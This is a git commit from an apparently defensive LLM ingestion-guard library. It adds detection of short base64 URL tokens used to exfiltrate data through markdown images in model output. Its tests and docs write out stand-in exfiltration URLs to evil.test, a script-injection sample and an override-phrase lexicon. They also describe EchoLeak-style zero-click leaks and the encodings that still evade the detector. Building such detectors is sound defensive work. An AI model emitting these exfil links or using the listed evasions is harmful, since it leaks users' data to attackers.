1
0
Fork 0

feat(active): grade a short URL token that base64-decodes to text as carrying

Gap 6 closed. _is_opaque has a fourth branch for host labels and path
segments of 8-19 chars (calibration.URL_SHORT_B64_MIN_LEN). It fires when
the token is alphanumeric, not 1 mod 4, not itself a word, and its base64
plaintext reads as text: only letters, digits, space and . , : @ _ - + / !
? ' =, at least 80% letters/digits/spaces (URL_SHORT_B64_TEXT_SHARE), and
no lowercase-to-uppercase seam. ![x](https://evil.test/aGVsbG8gd29ybGQ)
is now HIGH; a link with it MEDIUM.

"Printable" alone fired on Pygments, a Norwegian path word and a JSON size
parameter. Each condition removes a measured twin (Pygments, aktuelle,
Slovenly, {"w":200}, PT00M01S, endsWith). Measured before building, with
the shipped tokenizer: 0 of 22,725 URLs in the 3,583 clean documents and
577 package READMEs, 0 of 530,625 dictionary words, 9 of 336,122
identifiers and prose tokens (all real base64 of text). Recall 32 of 35.

Measured before and after on the same trees: all 4,160 documents are
byte-identical under both presets (disposition, labels, severity, count,
offset); OKF import stays 47/31; positive control WARN -> FAIL_SECURE.
is_ordinary_url about 4 us slower per URL; 1M-char worst case unchanged.

26 new tests (attacks red first), 11 of 11 mutations red. Matrix 147/147 +
4/4 gaps, suite 1300 passed, ReDoS sweep 173 patterns, 0 flags on the new.
This commit is contained in:
Kjell Tore Guttormsen 2026-11-01 20:23:23 +01:00
commit 7430d7855a
Signed by: ktg
SSH key fingerprint: SHA256:JakMjO6FTBBzN0Bhfj9saOoEjaFxlSdYuZQQpM/lF9Q
14 changed files with 350 additions and 50 deletions

View file

@ -5,6 +5,46 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [Unreleased]
### Added — a short URL token that base64-decodes to text carries data (gap 6 closed)
`![x](https://evil.test/aGVsbG8gd29ybGQ)` ("hello world" in base64) used to grade
LOW, as an image that only names a document. The opacity test had a base64 branch
from 20 characters and an entropy branch from 24, and entropy cannot tell a short
token from a name. A fourth branch now decodes host labels and path segments of 8
to 19 characters and calls the URL carrying when the plaintext reads as text, so
the image keeps its full severity (HIGH; a link stays MEDIUM).
"Decodes to printable bytes" was not enough: ordinary words do that by chance
(`Pygments` decodes to `?(&z{l`). The branch fires only when all of these hold:
- the token is alphanumeric, its length is not 1 more than a multiple of 4, and it
is not a word (`[A-Z]?[a-z]+` or `[A-Z]+`);
- the plaintext uses only letters, digits, space and `. , : @ _ - + / ! ? ' =`;
- at least 80% of it is letters, digits or spaces;
- it has no lowercase letter followed by an uppercase one (decoded camelCase
identifiers look like that: `endsWith` decodes to `zwlZ+a`).
The floors are `calibration.URL_SHORT_B64_MIN_LEN = 8` and
`calibration.URL_SHORT_B64_TEXT_SHARE = 0.8`. `docs/URL-SHAPE.md` has the branch and
six new worked examples, all asserted against the code.
Documented gap 6 is closed: the coverage matrix asserts it as caught (the
`short-opaque` case, which also checks that a word of the same length stays LOW),
and `tests/test_gap_register.py` records it. What still passes is in LIMITATIONS: a
token under 8 characters, a plaintext with other characters (`Tr0ub4dor&3`, JSON),
a camelCase plaintext, a payload that is not base64, and a value split into tokens
under 8 characters. On 35 short attack plaintexts the branch catches 32.
**If you gate on `active:*` severities:** a URL with such a token now grades as
carrying. Nothing else moved. Measured before and after on the same trees: every
one of the 3,583 clean documents (the three false-positive populations and the 78
pinned OKF concepts) and 577 package READMEs keeps its disposition under both
presets and the same labels, severities, counts and offsets. Import of the pinned
OKF corpus is unchanged at 47 fail-secure / 31 warn. Before building, the rule fired
on none of their 22,725 URLs, on none of 530,625 dictionary words, and on 9 of
336,122 identifiers and prose tokens, all 9 real base64 of text.
## [1.10.0] — 2026-11-01
### Added — the output gate decodes hex-wrapped credentials (gap 1 closed)

View file

@ -100,7 +100,13 @@ summeres ikke, så `count` er en nedre grense. `count` når aldri disposisjonen.
**Heks-innpakket hemmelighet (1.10.0):** utgangsporten dekoder heks-løp på minst 32
tegn (begge byte-justeringer, minst 80 % skrivbart, samme hjelper som base64) og
kjører BARE hemmelighetsmønstrene på klarteksten (`decoded:egress:*`, beviset sier
`hex run`). Hull 1 er lukket, og hull 6 er det eneste åpne. ReDoS-sveipet teller 169.
`hex run`). Hull 1 er lukket. ReDoS-sveipet teller 169.
**Korte URL-ledd (1.11.0):** en fjerde gren i `_is_opaque` dekoder tokener på 8–19
tegn. Den fyrer bare når tokenet ikke er et ord og klarteksten leses som tekst: bare
lesbare tegn, minst 80 % bokstaver, sifre eller mellomrom, og ingen skjøt fra liten
til stor bokstav. Hver betingelse fjerner en målt tvilling (`Pygments`, en
JSON-størrelse, `PT00M01S`, `endsWith`, `Slovenly`). Hull 6 er lukket, så 1, 4 og 6
er lukket, og 2, 3, 5 og 7 står med målt begrunnelse. ReDoS-sveipet teller 173.
Start med `docs/BRIEF.md` for design, `README.md` for bruk, `docs/PLAN.md` for
byggerekkefølgen.

View file

@ -210,14 +210,14 @@ driven by a **live payload** in the coverage matrix — run it to watch all 151
in your own environment:
```bash
python -m llm_ingestion_guard.coverage # 146/146 classes; exit 0 = all as documented
python -m llm_ingestion_guard.coverage # 147/147 classes; exit 0 = all as documented
```
| Anchor | Attack classes it stops (representative) |
|---|---|
| **LLM01:2026 · prompt injection** | 83 instruction-override lexicon classes (ignore / forget / disregard / suspend-constraints, role-play, jailbreak, …); hidden carriers — every invisible codepoint in Unicode 18.0 (zero-width, BIDI override, Unicode-tag, variation-selector and Sneaky-Bits smuggling, private use; legitimate emoji, CJK, Arabic-script, Indic and right-to-left uses exempt on context), HTML-comment, `data:` URI — stripped on input **and** re-checked at the persist gate (a comment the model leaves in its artifact is reported unless it sits in code); text hidden by styling — a font too small to read, or text coloured like its own background; high-entropy base64/hex blobs; an injection hidden inside a base64 blob (decoded, then re-scanned); an instruction in plain prose whose paragraph combines two of: it speaks to the model, it is meant to act later, it writes to the model's memory, it hides from the user |
| **LLM02:2026 · sensitive-info disclosure** | Secret egress in output — AWS keys, tokens, private keys, the credential set; a base64- or hex-*wrapped* secret (decoded → `decoded:egress:*`) |
| **LLM10:2026 · improper output handling** | Zero-click exfil carriers (EchoLeak, CVE-2025-32711) — markdown-image auto-fetch, inline / reference / autolink links, raw active HTML, standalone `data:` URIs; a run of images whose *order* carries a value while each URL is ordinary (CamoLeak) |
| **LLM10:2026 · improper output handling** | Zero-click exfil carriers (EchoLeak, CVE-2025-32711) — markdown-image auto-fetch, inline / reference / autolink links, raw active HTML, standalone `data:` URIs; a URL whose path or host carries an encoded value, down to a base64 token of 8 characters; a run of images whose *order* carries a value while each URL is ordinary (CamoLeak) |
| **LLM03:2026 · excessive agency** | A tool surface on the quarantined transform; credential use beyond the per-stage allowlist; capability isolation (`scoped_env`) |
| **Fail-secure** *(the guard's own failure semantics)* | Forced-fallback attack (scan hit + transform failure → halt); compound weak-signal escalation; an un-scannable artifact fails **closed** — never a silent persist |
| **OKF structure (T1–T6)** | Body + frontmatter-value injection; YAML anchor / merge / nested / block DoS (parse-safety); non-`https` / active-scheme `resource` URLs and the `resource` allowlist; path traversal / reserved-name shadow; cross-link graph; provenance stamping |
@ -314,11 +314,13 @@ a green scan means safe content. The highest-impact items:
only *names* a remote document is LOW; one that can carry a value outward keeps
HIGH/MEDIUM. The conceded hole: a bare-path image on a hostile host still *fetches*
when rendered, so pure beaconing (reader IP, timing) is not graded.
- **Five documented gaps** the coverage matrix keeps honest: semantic poisoning,
an unmarked plain-prose task, trusted-prose lone-HIGH, pure beaconing, and short
opaque URL segments. Four of them carry a measured reason: the cheapest rule that
was tried, and the false alarms it cost. Two of the seven frozen on 2026-11-01 are
closed: lexicon dedup (`count=1`) in 1.9.0 and hex-wrapped secret egress in 1.10.0.
- **Four documented gaps** the coverage matrix keeps honest: semantic poisoning,
an unmarked plain-prose task, trusted-prose lone-HIGH and pure beaconing. Each
carries a measured reason: the cheapest rule that was tried, and the false alarms
it cost. Three of the seven frozen on 2026-11-01 are closed: lexicon dedup
(`count=1`) in 1.9.0, hex-wrapped secret egress in 1.10.0 and short opaque URL
segments in 1.11.0. A short URL segment is caught only when its base64 plaintext
reads as text; tokens under 8 characters and other encodings still pass.
- **The upload door is a review queue, not an auto-persist path — measured.** On
three benign document populations, `PRESET_USER_UPLOAD` disposed **98 of 185**
(53.0%), **88 of 547** (16.1%) and **133 of 389** (34.2%) documents to something

View file

@ -142,9 +142,9 @@ live payload:
python -m llm_ingestion_guard.coverage # exit 0 = all as documented
```
As of `v1.10.0`: **146 / 146 defended classes demonstrated (recall 100%)** and **5 /
5 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
update). The matrix is the single source of truth for the test suite (**1274
As of `v1.10.0`: **147 / 147 defended classes demonstrated (recall 100%)** and **4 /
4 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
update). The matrix is the single source of truth for the test suite (**1300
passing**), which also asserts total recall, that every lexicon pattern has a
case (so the matrix cannot fall behind the lexicon), the full LLM02:2026 secret-egress
set, and the container-layer front-end (CSV formula-injection, zip-slip/bomb,

View file

@ -257,13 +257,22 @@ items; this is the full list, each with the mechanism.
renderer touches it, leaking reader IP, user-agent and timing. Grading the fetch
itself would re-block every ordinary document, which is precisely the 0.3.0
regression this replaced — so beaconing is conceded, not covered.
- **Short opaque URL segments slip through the same grading.** Opacity is decided by
`entropy`'s primitives: base64 that decodes to text (≥20 chars), a hex id
(≥32 chars), or Shannon entropy ≥4.4 at ≥24 chars. A shorter payload segment —
`https://evil.test/aGVsbG8gd29ybGQ` — cannot be told from a name, because entropy
is bounded by `log2(length)` at short lengths. Mitigation in depth, not in this
detector: a literal credential in a URL is still caught by the LLM02:2026 egress
patterns in the same `scan_output` pass, whatever severity the carrier gets.
- **A short URL segment is caught only when its base64 plaintext reads as text.**
Opacity is decided by base64 that decodes to text (≥20 chars), a hex id (≥32
chars), Shannon entropy ≥4.4 at ≥24 chars, and since 1.11.0 a short-text branch
for tokens of 8 to 19 characters (`docs/URL-SHAPE.md`). Entropy cannot tell a
short token from a name, so the short branch decodes it and asks more of the
plaintext than "printable": the token must not be a word, and the plaintext must
use only letters, digits, space and `. , : @ _ - + / ! ? ' =`, be at least 80%
letters, digits or spaces, and have no lowercase letter followed by an uppercase
one. What still passes as ordinary: a token under 8 characters (5 bytes or less,
such as `aGVsbG8` for "hello"); a plaintext with other characters (`Tr0ub4dor&3`,
JSON); a camelCase plaintext (`JohnSmith`); a payload that is not base64 at all
(hex under 32 characters, a custom alphabet, a lookup id the attacker's server
maps back); and a value split into tokens of fewer than 8 characters each. On 35 short attack
plaintexts the branch catches 32. Mitigation in depth, not in this detector: a
literal credential in a URL is still caught by the LLM02:2026 egress patterns in
the same `scan_output` pass, whatever severity the carrier gets.
- **A value carried by the order of images is caught only when each symbol is short
and the run shares one URL template.** Since 1.7.0
`active:markdown-image-sequence` (MEDIUM) reports a run of at least 4 ordinary
@ -689,7 +698,7 @@ items; this is the full list, each with the mechanism.
missed; on one preset it is held for review instead of halted.
- **The ReDoS sweep has a measured sensitivity floor, not a clean bill of
health.** All 169 compiled patterns across all eleven regex-bearing modules are
health.** All 173 compiled patterns across all eleven regex-bearing modules are
swept arm by arm — payloads synthesised per run from each pattern's own
skeleton, so `[`, `[system]` and `[system](` are each probed separately rather
than relying on generic units, and each pattern is timed in the call mode the
@ -847,11 +856,15 @@ were measured too.
the 3,583, but that measurement is blind: none of them holds an external image.
On the 569 READMEs it fires on 52 and would stop **23** of the 211 that pass
today. The fetch itself is what an ordinary README does.
6. **Short opaque URL segment (<24 chars)** — below what entropy can resolve (above).
Open. The cheapest rule (a segment of 8 to 23 characters that base64-decodes to at
least 6 printable bytes) fired on 4 of 14,943 README URLs, among them a size
parameter in an image URL and the word "Pygments". It has to demand more of the
decoded text and be measured again before it is built.
6. **Short opaque URL segment (<24 chars)** — **closed in 1.11.0.** A URL token of
8 to 19 characters is opaque when its base64 plaintext reads as text (see "A short
URL segment is caught only when..." above). The first rule tried, "decodes to at
least 6 printable bytes", fired on the word `Pygments`, a Norwegian path word and
a JSON size parameter. The rule as built fires on none of the 7,525 URLs in the
3,583 documents or the 15,200 in 577 package READMEs (the README population
rebuilt on 2026-11-01; it was 569 in session 1). Measured as built: all 4,160
documents keep their disposition under both presets, and every finding keeps its
label, severity, `count` and offset.
7. **Unmarked prose task (toxic agent flow, A12)** — no address, deferral, memory or
concealment to read (above). **Measured reason:** a rule for "gather it from
private places" gave **6** new alarms. Adding "and put it into this document" in

View file

@ -326,6 +326,70 @@ ikke (en base64-innpakket gjør det). Det står i LIMITATIONS.
- **Rad 2:** hull 1 og 4 er lukket, og 2, 3, 5 og 7 står med målt begrunnelse. Hull 6
er åpent og neste: regelen må kreve mer av klarteksten og måles på nytt (§ V.6).
## V.10 Økt 5, hull 6 lukket (01.11.2026, release 1.11.0)
**Hull 6 (kort ugjennomsiktig URL-ledd):** `_is_opaque` har en fjerde gren,
`_is_short_text_base64`, for tokener på 8–19 tegn (`calibration.URL_SHORT_B64_MIN_LEN`).
Den fyrer når tokenet er alfanumerisk, lengden ikke gir rest 1 ved deling på 4, tokenet
ikke er et ord (`[A-Z]?[a-z]+` eller `[A-Z]+`), og klarteksten er ASCII med bare
bokstaver, sifre, mellomrom og `. , : @ _ - + / ! ? ' =`, minst 80 % bokstaver, sifre
eller mellomrom (`URL_SHORT_B64_TEXT_SHARE`), og ingen liten bokstav fulgt av stor.
Matrisesaken `short-opaque` står som fanget og sjekker også at et ord med samme lengde
forblir LOW. `CLOSED` har nå `short-opaque`.
**Målt før bygging, med bibliotekets egen tokenisering.** Session 1-regelens
tokenisering var en annen. Med den som faktisk brukes, ga «skrivbart» 3 treff: `aktuelle` i
referansekorpuset (`jKnzY^`, ikke sett i økt 1), `Pygments` og Patreons `{"w":200}`.
GitHubs `package_id` var et resultat av den andre tokeniseringen. Kandidatene ble målt
token for token:
| Krav til klarteksten | 3 583 dok. + 577 README (22 725 URL-er) | Ordbok, 530 625 (små, Stor, STORE) | Identifikatorer og prosa, 336 122 | Fangst, 35 angrep |
|---|---|---|---|---|
| skrivbart (økt 1) | 3 | 254 | 125 | 35 |
| lesbart alfabet | 0 | 101 | 27 (18 søppel) | 34 |
| + ikke et ord + ≥ 80 % + ingen skjøt (bygget) | **0** | **0** | **9, alle ekte base64 av tekst** | **32** |
Hver betingelse fjerner en målt tvilling: ordtesten `Pygments`, `aktuelle` og
`Slovenly` (`JZ/zyr`, som består alle krav til klarteksten), alfabetet `{"w":200}`,
andelen `PT00M01S` (`==43MR`), og skjøten `endsWith` (`zwlZ+a`, en MDN-adresse).
De tre bommene er `Tr0ub4dor&3` (`&`), `JohnSmith` og «OpenAI key» (skjøt).
Base64 av skrivbar ASCII har `+` eller `/` bare når tredje byte i en trippel er `>`,
`?` eller `~` (sjekket for alle 857 375 tripler), så tokeniseringen splitter sjelden
et angrepstoken.
**README-populasjonen** er 577 i dag, bygget på samme måte (`node_modules`-README-er
og `dist-info/METADATA` under repo-mappa, deduplisert på sha256). 569 fra økt 1 ble
ikke gjenskapt. Grunnlinjen er gjenskapt eksakt med `docs/gap-sweep.py`: 106/198 ·
196/2918 · 108/389 · 0/78, og README 359/577 ikke-WARN.
- **TDD:** 26 nye tester: 7 angrep, 11 tvillinger, 1 med to begrensninger, 1
kalibrering og 6 nye eksempler i URL-SHAPE (matrisesaken bytter bare status). De 7
angrepene, kalibreringen og matrisesaken var røde av riktig grunn (LOW, manglende
konstant). Tvillingene holdt fra start. URL-SHAPE-eksemplene ble skrevet etter koden.
Identifikatorene ble høstet på nytt etter byggingen og var da 336 122 (336 112
under kandidatmålingen, fordi andre repoer endret seg). Den bygde koden gir 9 på dem. Mutasjonssjekk 11 av 11
røde (hver betingelse fjernet, gulv 7 og 9, andel 0,6 og 0,9, grenen fjernet). To
overlevde først (ordtesten og alfanumerisk-testen), og fikk hver sin tvilling.
- **Vaktregelen:** før og etter på samme trær (HEAD og arbeidstreet, frosset). Alle 4 160
dokumenter (3 583 + 577) har samme disposisjon under begge forhåndsinnstillingene og
samme etiketter, alvorlighetsgrader, `count` og offset: utdataene er identiske byte
for byte. OKF-importen står på 47/31. Positiv kontroll: et rent README med
angrepsbildet lagt til går fra WARN til FAIL_SECURE etter, og forblir WARN før.
- **Ytelse:** maskinen hadde belastningssnitt rundt 43 (andre økter), så regelen om å
måle uten annen last kunne ikke holdes. Relativt, vekselvis, tre runder:
`is_ordinary_url` over de 22 725 URL-ene ×5 tok 2,46/2,21/2,36 s før og
2,78/2,86/2,80 s etter (rundt 4 µs per URL). `scan_output` over de 389 svinger
57–101 s og gir ingen lesbar forskjell. Verste tilfelle ved taket på 1 000 000 tegn
(40 slike tokener per bilde): 6,57/6,46 s før, 6,27/6,22 s etter. Lineært fra 25 000
til 100 000 tegn.
- **ReDoS:** sveipet teller 173 mønstre (nytt: `_ALNUM_TOKEN_RE`, `_WORD_TOKEN_RE`,
`_READABLE_TEXT_RE`, `_CASE_SEAM_RE`). To kjøringer ga 5 og 4 tidsflagg, alle på
uendrede mønstre, og 0 på de nye. Exit 0.
- **Vakten:** kjørt på nytt, 16 current, bare `lastRun` endret.
- **Rad 2:** hull 1, 4 og 6 er lukket, og 2, 3, 5 og 7 står med målt begrunnelse.
Alle sju er avgjort. Sluttmålingen (§ V.3) gjenstår: rad 1 venter på sju dager
med ukentlige kjøringer hos llm-security.
## Forrige retning (godkjent av operatøren 28.10.2026, nådd 31.10)
> «llm-ingestion-guard bygger på nyeste utgave av hver trusselkatalog den viser til,

View file

@ -48,16 +48,25 @@ hyphenated filename shatters into short tokens. Note also what is *not* in it:
`%` is not a separator, so a percent-escaped path yields *longer* tokens than the
same path with literal spaces.
A token is **opaque** if any of three branches fires — cheapest first:
A token is **opaque** if any of four branches fires — cheapest first:
| Branch | Floor | Test |
|---|---|---|
| base64 | **≥ 20 chars** | matches `[A-Za-z0-9+/]{20,}={0,3}` **and** b64-decodes to ≥80% printable text |
| hex | **≥ 32 chars** | matches `(?:0x)?[0-9a-fA-F]{32,}` |
| entropy | **≥ 24 chars** | Shannon entropy ≥ **4.4** |
| short base64 text (1.11.0) | **≥ 8 chars** | all of: alphanumeric, length not 1 mod 4, **not** a word (`[A-Z]?[a-z]+` or `[A-Z]+`), and the b64 plaintext is ASCII using only letters, digits, space and `. , : @ _ - + / ! ? ' =`, at least **80%** letters, digits or spaces, with **no** lowercase letter followed by an uppercase one |
Every branch has a length floor. Nothing shorter than 20 characters can ever be
opaque by any branch.
Every branch has a length floor. Nothing shorter than 8 characters can ever be
opaque by any branch, and below 20 only the short-text branch can fire.
The short-text branch is strict on purpose: ordinary words decode to printable
bytes by chance (56 of 176,875 dictionary words of 8 to 19 letters, and `Pygments`
to `?(&z{l`). Each
condition removes a benign twin measured on 2026-11-01: the word test removes
`Pygments` and `aktuelle`, the readable alphabet removes a JSON size parameter
(`eyJ3IjoyMDB9` to `{"w":200}`), the 80% share removes `PT00M01S` (`==43MR`), and
the seam test removes `endsWith` (`zwlZ+a`).
## Worked examples
@ -72,7 +81,7 @@ means "names a document" (LOW); `carrying` keeps the carrier's full severity.
| `https://www.bbc.com/news/articles/c8x9k2m1l0po` | ordinary | 12 chars, under every floor |
| `https://example.com/a/550e8400-e29b-41d4-a716-446655440000/doc` | ordinary | UUID splits on `-`; longest token 12 |
| `https://example.com/docs/CISPE-Buying-Cloud-Services-in-Public-Sector-Handbook-v2-FEB-2022_EN-Source_v2_Norwegian.pdf` | ordinary | 16 tokens, longest 9, worst H=3.17 |
| `https://ai.meta.com/blog/` | ordinary | `blog` is 4 chars — below the base64 floor |
| `https://ai.meta.com/blog/` | ordinary | `blog` is 4 chars — below every floor |
| `https://www.youtube.com/watch?v=dQw4w9WgXcQ` | carrying | non-empty query |
| `https://claude.com/pricing?utm_source=docs` | carrying | non-empty query |
| `https://learn.microsoft.com/azure/ai/overview?view=azureml-api-2` | carrying | non-empty query |
@ -82,6 +91,12 @@ means "names a document" (LOW); `carrying` keeps the carrier's full severity.
| `https://example.com/d41d8cd98f00b204e9800998ecf8427e` | carrying | 32-char hex token |
| `https://evil.test/c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU/p.png` | carrying | base64 decoding to text |
| `https://c3RvbGVuIHNlc3Npb24gdG9rZW4gdmFsdWU.evil.test/p.png` | carrying | opaque host label |
| `https://evil.test/aGVsbG8gd29ybGQ` | carrying | 15 chars, base64 of `hello world` |
| `https://evil.test/Zm9vYmFy/p.png` | carrying | 8 chars, base64 of `foobar` |
| `https://pypi.org/project/Pygments/` | ordinary | a word, whatever it decodes to |
| `https://c10.patreonusercontent.com/3/eyJ3IjoyMDB9/patreon-media/p.png` | ordinary | decodes to `{"w":200}`, not readable text |
| `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith` | ordinary | decodes to `zwlZ+a`, a case seam |
| `https://evil.test/aGk/p.png` | ordinary | `hi` in base64, 3 chars, under every floor |
| `ftp://example.com/pub/file.txt` | carrying | scheme gate |
| `javascript:alert(1)` | carrying | scheme gate |
@ -96,7 +111,9 @@ Each of these produced a real, wrong number on a real corpus.
- **Omitting the base64 length floor.** Testing "b64-decodes to printable text"
without `len ≥ 20` fires on ordinary path words — `blog`, `digi` and `1544`
decode to printable bytes, while `news` and `docs` do not, so the reconstruction
appears to discriminate on something meaningful and does not.
appears to discriminate on something meaningful and does not. Below 20 chars
only the short-text branch applies, with its 8-char floor and all of its
conditions on the plaintext; "printable" alone fired on `Pygments`.
- **Omitting step 5 entirely.** Applying only "query or percent-escape" is
*strictly weaker* than the real rule, so it undercounts carrying URLs. It can
never overcount: every URL it calls carrying really is.

View file

@ -111,7 +111,8 @@ The opacity test reuses ``entropy``'s primitives rather than inventing a second
heuristic, and it is a *backstop*, not the main line of defence: a literal
credential in a URL is caught by the secret-egress patterns in the same
``scan_output`` pass regardless of the severity assigned here. The residual
holes it leaves — pure beaconing, short opaque segments — are documented in
holes it leaves — pure beaconing, and short tokens the short-text branch cannot
read (under 8 chars, or a plaintext that is not text) — are documented in
``docs/LIMITATIONS.md`` rather than papered over.
Scan order mirrors ``neutralize``'s pass order, with each matched construct
@ -125,6 +126,7 @@ without recreating the affordance it flagged.
"""
from __future__ import annotations
import base64
import re
from urllib.parse import urlsplit
@ -138,6 +140,8 @@ from .calibration import (
URL_OPAQUE_ENTROPY_H as _OPAQUE_H,
URL_OPAQUE_HEX_MIN_LEN as _OPAQUE_HEX_LEN,
URL_OPAQUE_MIN_LEN as _OPAQUE_MIN_LEN,
URL_SHORT_B64_MIN_LEN as _SHORT_B64_MIN_LEN,
URL_SHORT_B64_TEXT_SHARE as _SHORT_B64_TEXT_SHARE,
)
from .entropy import is_hex_blob, shannon_entropy, try_decode_base64
from . import _owasp
@ -388,19 +392,63 @@ _ORDINARY_SCHEME_RE = re.compile(r"^(?:https?://|//)", re.IGNORECASE)
_URL_TOKEN_RE = re.compile(r"[/._\-~+,;:=&$!*'()]+")
# Short-token base64 (gap 6, 1.11.0). The tokenizer has already split on `+`, `/`,
# `-`, `_` and `=`, so a token that can be base64 is plain alphanumeric. Base64 of
# printable ASCII almost never holds `+` or `/` (only when the third byte of a
# triple is `>`, `?` or `~`), so the split rarely breaks an attack token apart.
_ALNUM_TOKEN_RE = re.compile(r"[A-Za-z0-9]+")
# A token that is itself a word is a name, whatever its bytes decode to:
# `Pygments` -> `?(&z{l`, `aktuelle` -> `jKnzY^`.
_WORD_TOKEN_RE = re.compile(r"[A-Z]?[a-z]+|[A-Z]+")
# What a short secret, name, address or number is written with. Braces, quotes
# and the rest are left out: `{"w":200}` is a size parameter, not text.
_READABLE_TEXT_RE = re.compile(r"[A-Za-z0-9 .,:@_\-+/!?'=]+")
# A lowercase letter followed by an uppercase one: how decoded junk from a
# camelCase identifier looks (`endsWith` -> `zwlZ+a`).
_CASE_SEAM_RE = re.compile(r"[a-z][A-Z]")
def _is_short_text_base64(token: str) -> bool:
"""True if a short URL token base64-decodes to plaintext that reads as text.
The base64 branch of :func:`_is_opaque` starts at 20 chars and entropy cannot
tell a 15-char token from a name, so ``evil.test/aGVsbG8gd29ybGQ`` ("hello
world") was ordinary. Decoding to *printable* bytes is not enough: real path
words do that by chance. The token must not be a word, and the plaintext must
use readable characters only, be mostly letters, digits and spaces, and have no
lowercase-to-uppercase seam. Above 20 chars the base64 branch already accepts
everything this accepts, so this only changes short tokens.
"""
if len(token) < _SHORT_B64_MIN_LEN or len(token) % 4 == 1:
return False
if not _ALNUM_TOKEN_RE.fullmatch(token) or _WORD_TOKEN_RE.fullmatch(token):
return False
raw = base64.b64decode(token + "=" * (-len(token) % 4))
try:
text = raw.decode("ascii")
except UnicodeDecodeError:
return False
if not _READABLE_TEXT_RE.fullmatch(text) or _CASE_SEAM_RE.search(text):
return False
readable = sum(1 for ch in text if ch.isalnum() or ch == " ")
return readable >= _SHORT_B64_TEXT_SHARE * len(text)
def _is_opaque(token: str) -> bool:
"""True if a URL token looks like carried data rather than a name.
Three reused ``entropy`` signals, cheapest first: base64 that decodes to
printable text (the encoding an exfil path actually uses), a hex id at the
URL-token floor, and — as a backstop for random-looking tokens that are
neither — length-paired Shannon entropy.
Four signals, cheapest first: base64 that decodes to printable text (the
encoding an exfil path actually uses), a hex id at the URL-token floor,
length-paired Shannon entropy as a backstop for random-looking tokens that
are neither, and a short token whose base64 plaintext reads as text.
"""
if try_decode_base64(token) is not None:
return True
if len(token) >= _OPAQUE_HEX_LEN and is_hex_blob(token):
return True
return len(token) >= _OPAQUE_MIN_LEN and shannon_entropy(token) >= _OPAQUE_H
if len(token) >= _OPAQUE_MIN_LEN and shannon_entropy(token) >= _OPAQUE_H:
return True
return _is_short_text_base64(token)
def is_ordinary_url(url: str) -> bool:

View file

@ -192,6 +192,26 @@ ACTIVE_CONTENT_ORDINARY_SEVERITY = Severity.LOW
# here is what 0.3.1 exists to fix.
URL_OPAQUE_ENTROPY_H, URL_OPAQUE_MIN_LEN = 4.4, 24
# A SHORT URL token (gap 6, 1.11.0) is opaque when it base64-decodes to text.
# Below 20 chars the base64 branch never ran and entropy cannot separate a name
# from a blob, so `evil.test/aGVsbG8gd29ybGQ` ("hello world") graded LOW. The
# token must be at least URL_SHORT_B64_MIN_LEN chars (8 chars is the shortest that
# decodes to 6 bytes), must not itself be a word, and its plaintext must read as
# text: readable characters only, at least URL_SHORT_B64_TEXT_SHARE of them
# letters, digits or spaces, and no lowercase-to-uppercase seam.
#
# Measured 2026-11-01 before building, tokenised as shipped: 0 tokens fire on the
# 3 583 clean documents (7 525 URLs) or 577 package READMEs (15 200 URLs); a rule
# asking only for "printable" fired on 3 (`Pygments`, `aktuelle`, a JSON size
# parameter). Stress populations: 0 of 530 625 dictionary words (lower, Capital,
# UPPER) and 0 non-base64 among 336 122 identifiers and prose tokens (9 fire, and
# all 9 are real base64 of text). The seam rejects `endsWith` (`zwlZ+a`). The share
# rejects `PT00M01S` (`==43MR`, 4 of 6) and keeps `hunter2!` (7 of 8): any value
# between those works, and 0.8 is the bar the base64 branch already sets.
# Recall: 32 of 35 short attack plaintexts.
URL_SHORT_B64_MIN_LEN = 8
URL_SHORT_B64_TEXT_SHARE = 0.8
# --- active_content: sequence-carried exfiltration (A05, 1.7.0) -------------
# A run of external images can carry a value in its ORDER while every URL in it
# is ordinary (CamoLeak: one image per character from a pre-built URL alphabet).

View file

@ -419,14 +419,19 @@ def _beaconing_gap():
return low, "bare-path remote image -> LOW (fetch beacons; no data carried)"
def _short_opaque_segment_gap():
# Below URL_OPAQUE_MIN_LEN a token cannot be told from a name by entropy
# (a 15-char string cannot exceed log2(15) bits/char), and a base64 run
# shorter than 20 chars is not decodable-testable either.
report = scan_output("![x](https://evil.test/aGVsbG8gd29ybGQ)", source=Source.OUTPUT)
img = next((f for f in report.findings if f.label == "active:markdown-image"), None)
low = img is not None and img.severity is Severity.LOW
return low, "short opaque segment (<24 chars) -> LOW (entropy cannot resolve it)"
def _short_opaque_segment_probe():
# Gap 6 until 1.11.0. Entropy cannot tell a 15-char token from a name, and the
# base64 branch starts at 20 chars. The short-text branch decodes the token and
# asks whether the plaintext reads as text. The probe pins the reason: the same
# image with the token replaced by a word of the same length stays LOW.
def grade(url):
report = scan_output(f"![x]({url})", source=Source.OUTPUT)
img = next((f for f in report.findings if f.label == "active:markdown-image"), None)
return None if img is None else img.severity
carried = grade("https://evil.test/aGVsbG8gd29ybGQ")
named = grade("https://evil.test/troubleshooting")
ok = carried is Severity.HIGH and named is Severity.LOW
return ok, f"short base64-text segment -> {carried and carried.name}, word twin -> {named and named.name}"
def _unmarked_prose_task_gap():
@ -556,6 +561,9 @@ def _build_cases() -> list[Case]:
"contact <https://evil.test/collect?d=stolen>", owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
_scan_case("active", "opaque (base64) path segment", "active:markdown-image",
f"![chart](https://evil.test/{_B64_INJECTION}/p.png)", owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
_predicate_case("active", "short opaque URL segment (8-19 chars)", "short-opaque",
_short_opaque_segment_probe, owasp=_owasp.IMPROPER_OUTPUT_HANDLING,
note="base64 plaintext must read as text; under 8 chars stays a residual"),
_scan_case("active", "raw active HTML", "active:raw-html",
"<script>steal()</script>", owasp=_owasp.IMPROPER_OUTPUT_HANDLING),
# The carrier split (0.7.0): a raw anchor is click-required, so it grades
@ -671,9 +679,6 @@ def _build_cases() -> list[Case]:
_predicate_case("gap", "pure beaconing (fetch without carried data)", "beacon",
_beaconing_gap, status="gap", owasp=_owasp.IMPROPER_OUTPUT_HANDLING,
note="0.3.1: severity grades on carried data; the fetch itself is not graded"),
_predicate_case("gap", "short opaque URL segment (<24 chars)", "short-opaque",
